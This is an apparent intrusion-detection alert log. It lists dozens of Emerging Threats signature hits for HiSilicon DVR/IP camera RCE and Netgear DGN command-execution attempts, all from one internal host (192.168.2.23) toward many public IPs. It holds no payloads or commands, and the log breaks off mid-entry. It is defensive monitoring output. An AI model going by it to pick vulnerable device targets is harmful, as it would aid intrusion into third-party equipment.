ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 162.40.91.178

Timestamp:	05/16/24-16:38:59.584462
SID:	2030488
Source Port:	34082
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.201.188.83

Timestamp:	05/16/24-16:38:57.448957
SID:	2030488
Source Port:	33140
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 74.101.163.103

Timestamp:	05/16/24-16:39:05.698744
SID:	2030488
Source Port:	58220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.101.97.86

Timestamp:	05/16/24-16:38:59.590347
SID:	2030487
Source Port:	41542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.101.97.86

Timestamp:	05/16/24-16:38:59.590347
SID:	2030488
Source Port:	41542
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 74.101.163.103

Timestamp:	05/16/24-16:39:05.698744
SID:	2030487
Source Port:	58220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 63.26.144.6

Timestamp:	05/16/24-16:38:53.398642
SID:	2029215
Source Port:	33974
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.89.11.102

Timestamp:	05/16/24-16:39:12.400545
SID:	2030488
Source Port:	41768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.97.118.94

Timestamp:	05/16/24-16:39:05.694706
SID:	2030488
Source Port:	57500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.89.11.102

Timestamp:	05/16/24-16:39:12.400545
SID:	2030487
Source Port:	41768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.51.43.152

Timestamp:	05/16/24-16:38:50.047753
SID:	2030488
Source Port:	43380
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.97.118.94

Timestamp:	05/16/24-16:39:05.694706
SID:	2030487
Source Port:	57500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.51.43.152

Timestamp:	05/16/24-16:38:50.047753
SID:	2030487
Source Port:	43380
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 177.182.86.136

Timestamp:	05/16/24-16:39:16.599369
SID:	2030487
Source Port:	47004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.209.79.143

Timestamp:	05/16/24-16:39:16.602134
SID:	2030488
Source Port:	43392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 35.247.252.138

Timestamp:	05/16/24-16:38:55.212346
SID:	2030487
Source Port:	38272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 177.182.86.136

Timestamp:	05/16/24-16:39:16.599369
SID:	2030488
Source Port:	47004
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.209.79.143

Timestamp:	05/16/24-16:39:16.602134
SID:	2030487
Source Port:	43392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 35.247.252.138

Timestamp:	05/16/24-16:38:55.212346
SID:	2030488
Source Port:	38272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.56.228.255

Timestamp:	05/16/24-16:38:55.176120
SID:	2030487
Source Port:	56878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.56.228.255

Timestamp:	05/16/24-16:38:55.176120
SID:	2030488
Source Port:	56878
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 83.52.52.184

Timestamp:	05/16/24-16:38:53.410466
SID:	2024916
Source Port:	42022
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.188.160.68

Timestamp:	05/16/24-16:39:08.127925
SID:	2030488
Source Port:	52818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.188.160.68

Timestamp:	05/16/24-16:39:08.127925
SID:	2030487
Source Port:	52818
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.189.108.163

Timestamp:	05/16/24-16:39:12.382838
SID:	2030488
Source Port:	38130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.189.108.163

Timestamp:	05/16/24-16:39:12.382838
SID:	2030487
Source Port:	38130
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.252.3.122

Timestamp:	05/16/24-16:38:57.432991
SID:	2030488
Source Port:	55434
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 63.79.163.124

Timestamp:	05/16/24-16:38:57.446996
SID:	2030488
Source Port:	33126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.252.3.122

Timestamp:	05/16/24-16:38:57.432991
SID:	2030487
Source Port:	55434
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 63.79.163.124

Timestamp:	05/16/24-16:38:57.446996
SID:	2030487
Source Port:	33126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 76.38.38.38

Timestamp:	05/16/24-16:38:53.011484
SID:	2030487
Source Port:	40712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 109.55.5.239

Timestamp:	05/16/24-16:38:55.206830
SID:	2030487
Source Port:	55976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 109.55.5.239

Timestamp:	05/16/24-16:38:55.206830
SID:	2030488
Source Port:	55976
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.8.128.78

Timestamp:	05/16/24-16:38:53.094662
SID:	2030487
Source Port:	44358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 76.38.38.38

Timestamp:	05/16/24-16:38:53.011484
SID:	2030488
Source Port:	40712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.8.128.78

Timestamp:	05/16/24-16:38:53.094662
SID:	2030488
Source Port:	44358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 48.223.45.0

Timestamp:	05/16/24-16:38:50.065161
SID:	2030487
Source Port:	38390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 48.223.45.0

Timestamp:	05/16/24-16:38:50.065161
SID:	2030488
Source Port:	38390
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.94.107.46

Timestamp:	05/16/24-16:39:02.747123
SID:	2030488
Source Port:	40156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.94.107.46

Timestamp:	05/16/24-16:39:02.747123
SID:	2030487
Source Port:	40156
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.20.57.241

Timestamp:	05/16/24-16:39:16.580814
SID:	2030488
Source Port:	39056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.130.16.27

Timestamp:	05/16/24-16:38:59.519413
SID:	2030488
Source Port:	46170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.130.16.27

Timestamp:	05/16/24-16:38:59.519413
SID:	2030487
Source Port:	46170
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.49.233.16

Timestamp:	05/16/24-16:39:08.146382
SID:	2030488
Source Port:	43468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.49.233.16

Timestamp:	05/16/24-16:39:08.146382
SID:	2030487
Source Port:	43468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.194.135.40

Timestamp:	05/16/24-16:39:12.303995
SID:	2030487
Source Port:	50524
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 219.20.57.241

Timestamp:	05/16/24-16:39:16.580814
SID:	2030487
Source Port:	39056
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.194.135.40

Timestamp:	05/16/24-16:39:12.303995
SID:	2030488
Source Port:	50524
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.102.150.74

Timestamp:	05/16/24-16:39:12.301131
SID:	2030487
Source Port:	37744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.81.64.126

Timestamp:	05/16/24-16:38:55.226384
SID:	2030487
Source Port:	53996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.81.64.126

Timestamp:	05/16/24-16:38:55.226384
SID:	2030488
Source Port:	53996
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.102.150.74

Timestamp:	05/16/24-16:39:12.301131
SID:	2030488
Source Port:	37744
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.218.99.42

Timestamp:	05/16/24-16:39:12.383612
SID:	2030487
Source Port:	38560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.218.99.42

Timestamp:	05/16/24-16:39:12.383612
SID:	2030488
Source Port:	38560
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 170.165.180.218

Timestamp:	05/16/24-16:39:08.128046
SID:	2030487
Source Port:	35538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.218.172.250

Timestamp:	05/16/24-16:39:14.529771
SID:	2030487
Source Port:	60516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.218.172.250

Timestamp:	05/16/24-16:39:14.529771
SID:	2030488
Source Port:	60516
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.91.100.170

Timestamp:	05/16/24-16:39:16.613976
SID:	2030487
Source Port:	55224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 170.165.180.218

Timestamp:	05/16/24-16:39:08.128046
SID:	2030488
Source Port:	35538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 97.91.100.170

Timestamp:	05/16/24-16:39:16.613976
SID:	2030488
Source Port:	55224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 148.99.239.184

Timestamp:	05/16/24-16:38:53.064453
SID:	2030487
Source Port:	58902
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 148.99.239.184

Timestamp:	05/16/24-16:38:53.064453
SID:	2030488
Source Port:	58902
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.68.31.16

Timestamp:	05/16/24-16:39:02.727988
SID:	2030488
Source Port:	42804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 46.73.11.16

Timestamp:	05/16/24-16:39:14.507454
SID:	2030487
Source Port:	42194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.158.180.109

Timestamp:	05/16/24-16:38:55.204596
SID:	2030488
Source Port:	51682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.68.31.16

Timestamp:	05/16/24-16:39:02.727988
SID:	2030487
Source Port:	42804
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.73.11.16

Timestamp:	05/16/24-16:39:14.507454
SID:	2030488
Source Port:	42194
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.158.180.109

Timestamp:	05/16/24-16:38:55.204596
SID:	2030487
Source Port:	51682
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 91.182.90.56

Timestamp:	05/16/24-16:39:14.493579
SID:	2030488
Source Port:	42360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 91.182.90.56

Timestamp:	05/16/24-16:39:14.493579
SID:	2030487
Source Port:	42360
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.53.78.113

Timestamp:	05/16/24-16:38:53.013556
SID:	2030487
Source Port:	50520
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.53.78.113

Timestamp:	05/16/24-16:38:53.013556
SID:	2030488
Source Port:	50520
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.70.193.30

Timestamp:	05/16/24-16:39:08.146648
SID:	2030487
Source Port:	47040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 139.11.229.229

Timestamp:	05/16/24-16:38:55.176055
SID:	2030487
Source Port:	37000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 139.11.229.229

Timestamp:	05/16/24-16:38:55.176055
SID:	2030488
Source Port:	37000
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.70.193.30

Timestamp:	05/16/24-16:39:08.146648
SID:	2030488
Source Port:	47040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.142.57.175

Timestamp:	05/16/24-16:38:50.069075
SID:	2030488
Source Port:	56980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.142.57.175

Timestamp:	05/16/24-16:38:50.069075
SID:	2030487
Source Port:	56980
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.55.44.32

Timestamp:	05/16/24-16:38:50.068493
SID:	2030488
Source Port:	35124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.55.44.32

Timestamp:	05/16/24-16:38:50.068493
SID:	2030487
Source Port:	35124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.124.132.76

Timestamp:	05/16/24-16:39:16.614346
SID:	2030487
Source Port:	54250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 92.159.203.114

Timestamp:	05/16/24-16:38:59.519256
SID:	2030487
Source Port:	36308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 92.159.203.114

Timestamp:	05/16/24-16:38:59.519256
SID:	2030488
Source Port:	36308
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.112.105.12

Timestamp:	05/16/24-16:39:16.603172
SID:	2030487
Source Port:	46740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.112.105.12

Timestamp:	05/16/24-16:39:16.603172
SID:	2030488
Source Port:	46740
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.174.80.60

Timestamp:	05/16/24-16:39:12.378403
SID:	2030487
Source Port:	39726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.174.80.60

Timestamp:	05/16/24-16:39:12.378403
SID:	2030488
Source Port:	39726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 95.55.147.34

Timestamp:	05/16/24-16:39:16.597898
SID:	2030487
Source Port:	59212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.124.132.76

Timestamp:	05/16/24-16:39:16.614346
SID:	2030488
Source Port:	54250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.51.174.255

Timestamp:	05/16/24-16:38:59.518427
SID:	2030487
Source Port:	49720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.112.217.81

Timestamp:	05/16/24-16:39:03.259998
SID:	2030488
Source Port:	55224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.51.174.255

Timestamp:	05/16/24-16:38:59.518427
SID:	2030488
Source Port:	49720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 95.55.147.34

Timestamp:	05/16/24-16:39:16.597898
SID:	2030488
Source Port:	59212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.112.217.81

Timestamp:	05/16/24-16:39:03.259998
SID:	2030487
Source Port:	55224
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.227.147.78

Timestamp:	05/16/24-16:38:55.212338
SID:	2030488
Source Port:	55556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.227.147.78

Timestamp:	05/16/24-16:38:55.212338
SID:	2030487
Source Port:	55556
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.76.248.35

Timestamp:	05/16/24-16:39:09.592094
SID:	2024916
Source Port:	52664
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 175.88.130.12

Timestamp:	05/16/24-16:38:50.069350
SID:	2030488
Source Port:	44624
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 175.88.130.12

Timestamp:	05/16/24-16:38:50.069350
SID:	2030487
Source Port:	44624
Destination Port:	9530
Protocol:	TCP
